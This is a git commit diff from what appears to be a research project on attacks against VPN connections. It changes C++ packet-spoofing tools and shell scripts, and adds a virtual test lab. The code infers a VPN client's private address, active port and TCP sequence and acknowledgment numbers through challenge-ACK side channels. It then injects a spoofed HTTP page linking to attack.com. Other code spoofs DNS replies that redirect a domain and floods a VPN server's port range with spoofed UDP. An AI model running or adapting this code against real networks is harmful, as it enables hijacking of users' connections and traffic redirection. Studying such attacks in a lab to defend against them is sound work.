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added client side attack env to virtual lab and server side tcp

master
Beau Kujath 3 months ago
parent
commit
0a4e3bb714
  1. 31
      client-side-attack/complete_attack/attack.sh
  2. 10
      client-side-attack/first_phase/phase_one_attack.sh
  3. 41
      client-side-attack/first_phase/send.cpp
  4. 51
      client-side-attack/sec_phase/send.cpp
  5. 57
      client-side-attack/third_phase/send.cpp
  6. 10
      server-side-attack/dns-sside/full_scan/send.cpp
  7. BIN
      server-side-attack/dns-sside/full_scan/uud_send
  8. 2
      server-side-attack/dns-sside/phases/udder_fillup/Makefile
  9. 23545
      server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
  10. 26
      server-side-attack/dns-sside/phases/udder_fillup/fillup.blah
  11. 165
      server-side-attack/dns-sside/phases/udder_fillup/send.cpp
  12. BIN
      server-side-attack/dns-sside/phases/udder_fillup/uud_send
  13. 0
      server-side-attack/tcp-sside/conn_inf/Makefile
  14. 70
      server-side-attack/tcp-sside/conn_inf/send.cpp
  15. BIN
      server-side-attack/tcp-sside/conn_inf/tcp_send
  16. 2
      server-side-attack/tcp-sside/inject/Makefile
  17. 695
      server-side-attack/tcp-sside/inject/send.cpp
  18. BIN
      server-side-attack/tcp-sside/inject/send_p3
  19. 0
      virtual-test-environment/.gitignore
  20. 82
      virtual-test-environment/README.md
  21. 15
      virtual-test-environment/boot_all.sh
  22. 29
      virtual-test-environment/configs/configure_vpn.sh
  23. 15
      virtual-test-environment/configs/setup_cliside_env.sh
  24. 24
      virtual-test-environment/configs/setup_servside_env.sh
  25. 1
      virtual-test-environment/edgers/client/.vagrant/machines/default/virtualbox/vagrant_cwd
  26. 6
      virtual-test-environment/edgers/client/Vagrantfile
  27. 2
      virtual-test-environment/edgers/client/copy_client_config.sh
  28. 12
      virtual-test-environment/edgers/client/setup_net.sh
  29. 650
      virtual-test-environment/edgers/client/ubuntu-xenial-16.04-cloudimg-console.log
  30. 2
      virtual-test-environment/edgers/setups/attacker/setup_attacker.sh
  31. 12
      virtual-test-environment/edgers/setups/disable_rp_filter.sh
  32. 74
      virtual-test-environment/edgers/setups/vpn_server/setup_vpn.sh
  33. 1
      virtual-test-environment/edgers/vpn-server/.vagrant/machines/default/virtualbox/vagrant_cwd
  34. 3
      virtual-test-environment/edgers/vpn-server/Vagrantfile
  35. 2
      virtual-test-environment/edgers/vpn-server/copy_vpn_setup.sh
  36. 1
      virtual-test-environment/edgers/vpn-server/setup_net.sh
  37. 653
      virtual-test-environment/edgers/vpn-server/ubuntu-xenial-16.04-cloudimg-console.log
  38. 1
      virtual-test-environment/edgers/web-server/.vagrant/machines/default/virtualbox/vagrant_cwd
  39. 2
      virtual-test-environment/edgers/web-server/Vagrantfile
  40. 648
      virtual-test-environment/edgers/web-server/ubuntu-xenial-16.04-cloudimg-console.log
  41. 1
      virtual-test-environment/routers/gateway/.vagrant/machines/default/virtualbox/vagrant_cwd
  42. 2
      virtual-test-environment/routers/gateway/Vagrantfile
  43. 11
      virtual-test-environment/routers/gateway/copy_attacker_setup.sh
  44. 654
      virtual-test-environment/routers/gateway/ubuntu-xenial-16.04-cloudimg-console.log
  45. 1
      virtual-test-environment/routers/router1/.vagrant/machines/default/virtualbox/vagrant_cwd
  46. 4
      virtual-test-environment/routers/router1/Vagrantfile
  47. 2
      virtual-test-environment/routers/router1/copy_attacker_setup.sh
  48. 666
      virtual-test-environment/routers/router1/ubuntu-xenial-16.04-cloudimg-console.log
  49. 1
      virtual-test-environment/routers/router2/.vagrant/machines/default/virtualbox/vagrant_cwd
  50. 4
      virtual-test-environment/routers/router2/Vagrantfile
  51. 672
      virtual-test-environment/routers/router2/ubuntu-xenial-16.04-cloudimg-console.log
  52. 1
      virtual-test-environment/routers/router3/.vagrant/machines/default/virtualbox/vagrant_cwd
  53. 4
      virtual-test-environment/routers/router3/Vagrantfile
  54. 663
      virtual-test-environment/routers/router3/ubuntu-xenial-16.04-cloudimg-console.log
  55. 22
      virtual-test-environment/start_all.sh
  56. 8
      virtual-test-environment/stop_all.sh

31
client-side-attack/complete_attack/attack.sh

@ -1,16 +1,17 @@
REMOTE_ADDR=$1
REMOTE_PORT=80
REMOTE_ADDR=192.168.3.2 # ip of web-server to check for connection
REMOTE_PORT=8080 # web server port
VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip
WLAN_GATEWAY=192.168.12.1 # address of local network gateway
VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically
VICTIM_WLAN_ADDR=172.16.4.2 # vpn client wlan ip
WLAN_GATEWAY=172.16.4.254 # address of local network gateway
VICTIM_PRIV_NET=10.8.0.0
PRIV_NETMASK=255.255.255.0
REQUEST_SIZE=529
DEST_MAC=a4:34:d9:53:92:c4
INTERFACE=wlp1s0
DEST_MAC=08:00:27:e8:bf:1f
INTERFACE=enp0s9
printf "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo `date`
echo "attempting to infer client's private VPN address.."
@ -18,20 +19,24 @@ echo "attempting to infer client's private VPN address.."
cd ../first_phase
PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
PRIV_IP="$(sudo ./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
echo "phase 1 client private IP: ${PRIV_IP}"
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
echo `date`
echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
cd ../sec_phase
VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)"
VPORT="$(sudo ./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $INTERFACE)"
echo "phase 2 port result: ${VPORT}"
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
echo `date`
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
cd ../third_phase
./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE
sudo ./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE $INTERFACE
echo `date`

10
client-side-attack/first_phase/phase_one_attack.sh

@ -1,10 +0,0 @@
#/bin/bash
./phase_one_attack 52:54:00:12:ae:4c\
52:54:00:12:ae:3f\
10.7.1.0\
255.255.255.0\
192.168.64.1\
ens5\
35220\
443

41
client-side-attack/first_phase/send.cpp

@ -1,35 +1,3 @@
/*
* Modified from http://libtins.github.io/examples/syn-scanner/
*
* INCLUDED COPYRIGHT
* Copyright (c) 2016, Matias Fontanini
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include <iostream>
#include <iomanip>
#include <vector>
@ -116,9 +84,10 @@ void Scanner::launch_sniffer() {
sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
}
/* Our scan handler. This will receive SYN-ACKS and inform us
* the scanned port's status.
*/
// Handle sniffed packets until we find a response
// with a potential private tun IP address
//
bool Scanner::callback(PDU& pdu) {
// Find the layers we want.
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
@ -141,7 +110,7 @@ void Scanner::run() {
pthread_t thread;
// Launch our sniff thread.
pthread_create(&thread, 0, &Scanner::thread_proc, this);
// Start sending SYNs to port.
// Start sending SYNs to possible private IPs
send_synacks();
// Wait for our sniffer.

51
client-side-attack/sec_phase/send.cpp

@ -17,12 +17,12 @@ bool sniffed_chack = false;
bool is_running = true;
bool verbose = false;
bool count_chacks = false;
bool quick_mode = true; // if true we don't recheck the port
bool quick_mode = false; // if true we don't recheck the port
int num_sent = 0;
string victim_wlan_addr;
string remote_addr;
string interface;
void print_divider(int count) {
@ -36,30 +36,30 @@ void print_divider(int count) {
bool handle_packet(PDU &some_pdu) {
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
// keep track of the last port we spoofed
if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << "sniffed something: " <<payload << "\n";
const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
const int remainder = payload % 99; // 99 is the size of encrypted resets on ubuntu 16
if (remainder != 0) {
//cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
//cout << "\nsniffed possible chack - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
// If it's not working as expected, uncomment the line above to
// check what the typical remainder is looking like as it scans the
// port range. In this case, ubuntu 19, if you uncomment the line above
// it would repeatedly sniff 41 packets until the correct port, then it
// would sniff a 48 packet
// port range. In this case, on ubuntu 16, the encrypted RSTs have size 99
// compared to the encrypted ACKs that will be size 115 so we look for remainders
// of size 16
if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS
if (remainder == 53 || remainder == 78 || remainder == 16) { // the size of the remainder could change per victim OS
if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
if (count_chacks) chack_count ++;
if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
if (!sniffed_chack) {
sniffed_chack = true;
best_port = current_spoof_port;
@ -73,17 +73,20 @@ bool handle_packet(PDU &some_pdu) {
void sniff_stuff() {
SnifferConfiguration config;
config.set_promisc_mode(true);
Sniffer sniffer("wlp1s0", config);
Sniffer sniffer(interface, config);
sniffer.sniff_loop(handle_packet);
}
// Rechecks a potential matching port for the connection
// and expects to see the same number of chall-acks
// triggered as num_checks
//
bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
count_chacks = true;
chack_count = 0;
@ -124,10 +127,10 @@ bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac,
int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
int end_port = 42000;//61000;
int start_port = 32768; // typical Linux ephemeral port range - (32768, 61000)
int end_port = 61000;
int i;
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
@ -152,8 +155,7 @@ int phase_two_spread(string dest_mac, string src_mac, string source_ip, int spor
// In round 1 we spoofed fast (10 sleep) to get a good estimate of the
// port in use. Round 2, we spoof slower from about 50 packets back to account
// for the delay in response and hopefully get the exact port number in use
// for the delay in response and hopefully get the exact port number in use.
print_divider(1);
usleep(1000000 / 2);
sniffed_chack = false;
@ -178,7 +180,9 @@ int phase_two_spread(string dest_mac, string src_mac, string source_ip, int spor
}
// Continually looks for a port in use by the victim VPN client
// being used to communicate witht the target web server
//
int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
bool is_found = false;
@ -191,7 +195,7 @@ int find_port(string dest_mac, string src_mac, string source_ip, int sport, stri
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
cout << current_port << "\n";
//cout << current_port << "\n";
if (quick_mode) {
is_found = true;
@ -210,8 +214,8 @@ int find_port(string dest_mac, string src_mac, string source_ip, int sport, stri
int main(int argc, char** argv) {
if (argc != 5 && argc != 6) {
cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
if (argc != 7) {
cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, iface)\n";
return 0;
}
@ -222,6 +226,8 @@ int main(int argc, char** argv) {
//verbose = true;
string dest_mac = argv[5];
interface = argv[6];
string src_mac = "";
print_divider(2);
@ -231,7 +237,6 @@ int main(int argc, char** argv) {
int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
is_running = false;
sniff_thread.detach();
//sniff_thread.join();
print_divider(1);
if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";

57
client-side-attack/third_phase/send.cpp

@ -31,7 +31,7 @@ bool show = false;
bool testing = true; // if using netcat set to true, else false
int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
std::string victim_wlan_addr, dest_ip, remote_addr;
std::string victim_wlan_addr, dest_ip, remote_addr, interface;
int sport, dport, request_size, chack_count;
@ -47,10 +47,13 @@ void print_divider(int count) {
}
}
// Injects a malicious payload with the exact seq
// and in-window ack inferred before
//
int inject_junk(long exact_seq, long in_win_ack) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
@ -81,7 +84,7 @@ int inject_junk(long exact_seq, long in_win_ack) {
bool rechack(long seq, long ack, int num_checks) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
count_chacks = true;
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
@ -104,7 +107,7 @@ bool rechack(long seq, long ack, int num_checks) {
while (count < num_checks) {
sender.send(pkt, iface);
num_sent ++;
usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
count ++;
}
@ -131,7 +134,7 @@ bool rechack(long seq, long ack, int num_checks) {
long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
TCP& tcp = pkt.rfind_pdu<TCP>();
@ -190,10 +193,10 @@ long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
// Loop over ack space sending empty push-acks
// that user the in window sequence number found before
// that use the in window sequence number found before
//
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
@ -213,7 +216,7 @@ long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size
best_ack = 0;
while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
while (j > min_ack && chack_count < chack_trigs) {
usleep(send_delay);
tcp.ack_seq(j);
@ -309,7 +312,7 @@ long quack_spread(long in_win_seq) {
long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
long max_seq = top_seq;
long adder = prev_block_size * delay_mult;
@ -352,7 +355,7 @@ bool handle_packet(PDU &some_pdu) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << payload << "\n";
if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
if (payload == 115) { // each triggered chall-ack is 115 length SSL
if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
if (count_chacks) chack_count += 1;
if (track_nums) possible_acks.push_back(current_spoof_ack);
@ -380,9 +383,8 @@ bool handle_packet(PDU &some_pdu) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << payload << "\n";
const int remainder = payload % 67;
if (payload == 79) {
if (payload == 115) { // each triggered chall-ack is 115 length SSL
if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
@ -417,10 +419,12 @@ bool handle_packet(PDU &some_pdu) {
return true;
}
void sniff_stuff() {
SnifferConfiguration config;
config.set_promisc_mode(true);
Sniffer sniffer("wlp1s0", config);
Sniffer sniffer(interface, config);
sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
}
@ -463,7 +467,7 @@ long try_seq_block(long current_seq) {
current_seq = best_seq;
wait_count = 0;
long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
long s2 = find_seq_block(1055, 20, 50, 600, current_seq);
while (best_seq == current_seq) {
usleep(500000);
@ -472,18 +476,18 @@ long try_seq_block(long current_seq) {
if (wait_count > 5) return -1;
}
return best_seq - 10000; // subtract 10k for wifi delay
return best_seq;
}
// Gets rough estimate of sequence number in use
// by spreading entire sequence range quicly then
// by spreading entire sequence range quickly then
// tries to find in win sequence using each
//
long find_in_win_seq() {
PacketSender sender;
NetworkInterface iface("wlp1s0");
NetworkInterface iface(interface);
long start_seq_guess = 1;
long max_seq_num = 4294967295;
@ -591,11 +595,11 @@ long find_in_win_ack(long in_win_seq) {
track_nums = false;
// clack has been consistently within 40k of next ack while testing but
// in practical use it needs to be less than the expected ack by at most
// 20k to be accepted as a valid ack, so here we add 20k to counter our delay
// but we could add a third ack scan to make it more accurate
// it needs to be less than the expected ack by at most 20k to be
// accepted as a valid ack, so here we add 30k to counter our delay
// but a third ack scan could be added to make it more accurate
//
long in_win_ack = clack + 30000; // adding extra 30k for wifi delay
long in_win_ack = clack + 30000;
return in_win_ack;
}
@ -643,12 +647,10 @@ int phase_three_spread() {
usleep(1000000 / 2);
long in_win_ack = find_in_win_ack(in_win_seq);
in_win_ack += 40000; // add 40k for wifi delay
cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
// jump back 40 for wifi delay
long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
long exact_seq = find_exact_seq(in_win_seq, in_win_ack, 100000) + 1; // should be one less than left edge
cout << "final exact seq guess: " << exact_seq << "\n";
cout << "total number of packets sent: " << num_sent << "\n";
print_divider(2);
@ -669,8 +671,8 @@ int phase_three_spread() {
int main(int argc, char** argv) {
if (argc != 8) {
cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
if (argc != 9) {
cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size, iface)\n";
return 0;
}
@ -681,14 +683,13 @@ int main(int argc, char** argv) {
dest_mac = argv[5];
dport = atoi(argv[6]);
request_size = atoi(argv[7]);
interface = argv[8];
thread sniff_thread(sniff_stuff);
print_divider(2);
int r = phase_three_spread();
sniff_thread.detach();
//sniff_thread.join();
return 0;
}

10
server-side-attack/dns-sside/full_scan/send.cpp

@ -227,7 +227,6 @@ int port_spread(string source_ip, int sport, string dest_ip, int start_port, int
IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
current_spoof_port = spoof_port;
//udp.dport(spoof_port); // set the packets dest port to current guess
int round_sends = 0;
while (round_sends < 4) { // send 4 at a time then sleep again
@ -490,7 +489,7 @@ int send_dns(string src_ip, int sport, string dest_ip, int dport) {
cout << "Attempting to inject dns response on port " << dport << "\n\n";
string spoof_domain = "yo.com";
string spoof_domain = "test.com";
string redirect_ip = "22.22.22.22";
injecting = true;
@ -560,7 +559,7 @@ int find_ports(string source_ip, int sport, string dest_ip, int start_port, int
if (exact_port == 0) is_found = true;
else {
cout << "found some exact port: " << exact_port << "\n\n";
cout << "found exact port: " << exact_port << "\n\n";
print_time();
send_dns(source_ip, sport, dest_ip, exact_port);
@ -597,7 +596,7 @@ int main(int argc, char** argv) {
source_ip = argv[1]; // dns server IP
int sport = atoi(argv[2]); // most likely 53
dest_ip = argv[3]; // vpn server IP
verbose = true;
//verbose = true;
int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
int end_port = atoi(argv[5]);
@ -609,9 +608,6 @@ int main(int argc, char** argv) {
int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
//sniff_thread.join();
//send_sniff_thread.join();
sniff_thread.detach();
send_sniff_thread.detach();

BIN
server-side-attack/dns-sside/full_scan/uud_send

2
server-side-attack/dns-sside/phases/udder_fillup/Makefile

@ -1,2 +0,0 @@
all:
g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11

23545
server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
File diff suppressed because it is too large
View File

26
server-side-attack/dns-sside/phases/udder_fillup/fillup.blah

@ -1,26 +0,0 @@
#/bin/bash
#
START_PORT=42000
END_PORT=62000
SRC_IP=10.8.0.10
#SRC_IP=$(ifconfig | grep inet | grep -w 10.8 | awk -F' ' '{print $2}' | awk -F':' '{print $2}')
NOW=$(date '+%F %T')
echo "Starting port fill at $NOW"
echo "Using tun src ip: $SRC_IP"
echo "Filling up vpn port range from $START_PORT to $END_PORT.."
sudo ./uud_send 192.168.3.2 53 $SRC_IP $START_PORT $END_PORT
#sleep 1
#echo "Responding to all my own client probes to make sure they're kept in the table"
#sudo ./uud_send 192.168.3.2 54 192.168.2.2 $START_PORT $END_PORT 1
NOW1=$(date '+%F %T')
echo "Finished port fill at $NOW1"

165
server-side-attack/dns-sside/phases/udder_fillup/send.cpp

@ -1,165 +0,0 @@
#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>
#include <thread>
#include <random>
using std::thread;
using std::cout;
using std::string;
using std::vector;
using namespace Tins;
bool is_running = true;
bool verbose = false;
bool count_resp = false;
string dest_ip;
string server_ip;
void print_divider(int count) {
int i = 0;
while (i < count) {
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
i++;
}
}
std::string random_string(std::size_t length) {
const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
std::random_device random_device;
std::mt19937 generator(random_device());
std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
string random_string;
for (std::size_t i = 0; i < length; ++i) {
random_string += CHARACTERS[distribution(generator)];
}
return random_string;
}
// Spreads UDPs across the victim's entire port range
// to find a port that is being used and the spoofed packets
// get NAT'ed back to the client
//
int spread_uds(bool server_spread, string server_ip, int server_port, string dest_ip, int start_port, int end_port) {
PacketSender sender;
NetworkInterface iface("enp0s9");
int i;
IP pkt;
if (server_spread) pkt = IP(dest_ip, server_ip) / UDP(start_port, server_port);
else pkt = IP(server_ip, dest_ip) / UDP(server_port, start_port);
UDP& udp = pkt.rfind_pdu<UDP>();
int spoof_port = start_port;
int send_size = 0;
int send_count = 0;
string send_payload = random_string(send_size);
cout << "spreading the port range from " << spoof_port << " to " << end_port << " with udps..\n";
while (spoof_port < end_port) {
if (server_spread) udp.dport(spoof_port); // set the packets src port to current guess
else udp.sport(spoof_port);
sender.send(pkt, iface);
spoof_port++;
send_size ++;
send_payload = random_string(send_size);
//cout << "next rando string: " << send_payload << "\n";
// if the payload size reaches 1000 (max), reset back to 0
if (send_size >= 1000) {
send_size = 0;
cout << "Sent w size 1000 to " << spoof_port << "\n";
}
usleep(1);
}
if (verbose) print_divider(2);
return 1;
}
int fill_ports(bool server_spread, string source_ip, int sport, string dest_ip, int start_port, int end_port) {
bool filling = true;
int current_port = 0;
while (filling) {
current_port = spread_uds(server_spread, source_ip, sport, dest_ip, start_port, end_port);
print_divider(1);
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
count_resp = true;
filling = false;
print_divider(2);
}
return current_port;
}
int main(int argc, char** argv) {
cout << "arc twas: " << argc;
if (argc != 6 && argc != 7) {
cout << "sike wrong number of args ---> (server_ip, server_port, dest_ip, start_port, end_port <enable_server_spread>)\n";
return 0;
}
server_ip = argv[1]; // dns server IP
int server_port = atoi(argv[2]);
dest_ip = argv[3]; // vpn server IP
int start_port = atoi(argv[4]);
int end_port = atoi(argv[5]);
bool server_spread = false;
if (argc == 7) server_spread = true;
verbose = true;
string dest_mac = "";
string src_mac = "";
print_divider(2);
int p = fill_ports(server_spread, server_ip, server_port, dest_ip, start_port, end_port);
cout << p << "\n";
print_divider(1);
is_running = false;
if (verbose) cout << "Filled up all those ports and finished at: " << p << "\n";
return p;
}

BIN
server-side-attack/dns-sside/phases/udder_fillup/uud_send

0
server-side-attack/tcp-sside/Makefile → server-side-attack/tcp-sside/conn_inf/Makefile

70
server-side-attack/tcp-sside/send.cpp → server-side-attack/tcp-sside/conn_inf/send.cpp

@ -16,7 +16,7 @@ using namespace Tins;
int current_spoof_port, best_port, chack_count;
bool is_running = true;
bool verbose = false;
bool rechecking = true; // rechecks inferred port if true
bool sniffed_resp = false;
string dest_ip;
@ -32,29 +32,15 @@ void print_divider(int count) {
}
}
bool handle_send_packet(PDU &some_pdu) {
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
if (ip.src_addr() == source_ip) {
current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
//cout << "Current Spoof Port (sniff) = " << current_spoof_port << "\n";
}
if (ip.src_addr() == dest_ip) {
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
//cout << "Payload Size = " << payload << "\n";
const int remainder = payload % 115;
}
return is_running;
}
bool handle_packet(PDU &some_pdu) {
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
// keep track of the last port we spoofed
if (ip.src_addr() == source_ip) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
// in this case we're looking for a packet from the vpn server to the vpn client
//
// the src ip should be the VPN server and dest ip should be
@ -76,26 +62,40 @@ bool handle_packet(PDU &some_pdu) {
return is_running;
}
void sniff_stuff() {
SnifferConfiguration config;
config.set_promisc_mode(true);
//config.set_filter("ip dst 10.0.0.215");
// would want to filter out ssh stuff at some point
Sniffer sniffer("any", config);
sniffer.sniff_loop(handle_packet);
}
void sniff_send_stuff() {
int recheck_port(string source_ip, int sport, string dest_ip, int found_port, int num_checks) {
SnifferConfiguration config;
config.set_promisc_mode(true);
Sniffer sniffer("any", config);
sniffer.sniff_loop(handle_send_packet);
PacketSender sender;
NetworkInterface iface("enp0s9");
}
IP pkt = IP(dest_ip, source_ip) / TCP(found_port, sport);
TCP& tcp = pkt.rfind_pdu<TCP>();
tcp.flags(TCP::SYN | TCP::ACK);
int i = 0;
while (i < num_checks) {
cout << "Sending recheck probe number " << i << "\n\n";
sender.send(pkt, iface);
usleep(500);
i ++;
}
usleep(3000000);
return 1;
}
@ -125,15 +125,14 @@ int phase_two_spread(string source_ip, int sport, string dest_ip, int start_port
count++;
i ++;
if (count % 50 == 0) {
usleep(1000);
cout << " Current port = " << i << ". Best port = " << best_port << ".\n";
//usleep(500);
if (verbose) cout << " Current port = " << i << ". Best port = " << best_port << ".\n";
}
if (best_port != 0) found = true;
}
usleep(1000000); // sleep to give victim time to respond w chack
current_port = best_port;
@ -152,13 +151,12 @@ int phase_two_spread(string source_ip, int sport, string dest_ip, int start_port
while (j < (current_port + 300) && !found) {
tcp.dport(j); // set the packets dest port to current guess
sender.send(pkt, iface);
cout << "Current guess port = " << j << " and best port = " << best_port << " \n";
if (verbose) cout << "Current guess port = " << j << " and best port = " << best_port << " \n";
usleep(10000);
j ++;
